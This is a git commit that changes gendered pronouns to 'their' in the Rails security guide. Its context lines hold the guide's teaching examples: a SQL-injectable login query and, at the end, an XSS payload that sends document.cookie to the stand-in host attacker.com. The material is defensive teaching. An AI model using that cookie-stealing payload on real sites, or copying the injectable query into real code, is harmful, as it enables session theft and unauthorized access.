[ci skip] Removing some gender sensitive object pronouns

1 files changed, 6 insertions, 6 deletions

diff --git a/guides/source/security.md b/guides/source/security.md
index c6c86a2bb9..c698959a2c 100644
--- a/guides/source/security.md
+++ b/guides/source/security.md
@@ -113,7 +113,7 @@ It works like this:
 * The user buys something.
 * Their new, lower credit will be stored in the session.
 * The dark side of the user forces them to take the cookie from the first step (which they copied) and replace the current cookie in the browser.
-* The user has his credit back.
+* The user has their credit back.
 
 Including a nonce (a random value) in the session solves replay attacks. A nonce is valid only once, and the server has to keep track of all the valid nonces. It gets even more complicated if you have several application servers (mongrels). Storing nonces in a database table would defeat the entire purpose of CookieStore (avoiding accessing the database).
 
@@ -354,9 +354,9 @@ Refer to the Injection section for countermeasures against XSS. It is _recommend
 
 **CSRF** Cross-Site Reference Forgery (CSRF) is a gigantic attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface.
 
-A real-world example is a [router reconfiguration by CSRF](http://www.h-online.com/security/Symantec-reports-first-active-attack-on-a-DSL-router--/news/102352). The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had his credentials stolen.
+A real-world example is a [router reconfiguration by CSRF](http://www.h-online.com/security/Symantec-reports-first-active-attack-on-a-DSL-router--/news/102352). The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had their credentials stolen.
 
-Another example changed Google Adsense's e-mail address and password by. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change his credentials.

+Another example changed Google Adsense's e-mail address and password by. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change their credentials.

 
 Another popular attack is to spam your web application, your blog or forum to propagate malicious XSS. Of course, the attacker has to know the URL structure, but most Rails URLs are quite straightforward or they will be easy to find out, if it is an open-source application's admin interface. The attacker may even do 1,000 lucky guesses by just including malicious IMG-tags which try every possible combination.
 
@@ -426,7 +426,7 @@ However, the attacker may also take over the account by changing the e-mail addr
 
 #### Other
 
-Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in [Google Mail](http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/). In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to his e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, _review your application logic and eliminate all XSS and CSRF vulnerabilities_.
+Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in [Google Mail](http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/). In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to their e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, _review your application logic and eliminate all XSS and CSRF vulnerabilities_.
 
 ### CAPTCHAs
 
@@ -581,7 +581,7 @@ The two dashes start a comment ignoring everything after it. So the query return
 
 #### Bypassing Authorization
 
-Usually a web application includes access control. The user enters his login credentials, the web application tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user.
+Usually a web application includes access control. The user enters their login credentials and the web application tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user.
 
 ```ruby
 User.first("login = '#{params[:name]}' AND password = '#{params[:password]}'")
@@ -679,7 +679,7 @@ These examples don't do any harm so far, so let's see how an attacker can steal
 <script>document.write(document.cookie);</script>
 ```
 
-For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review his web server's access log files to see the victim's cookie.
+For an attacker, of course, this is not useful, as the victim will see their own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review their web server's access log files to see the victim's cookie.
 
 ```html
 <script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>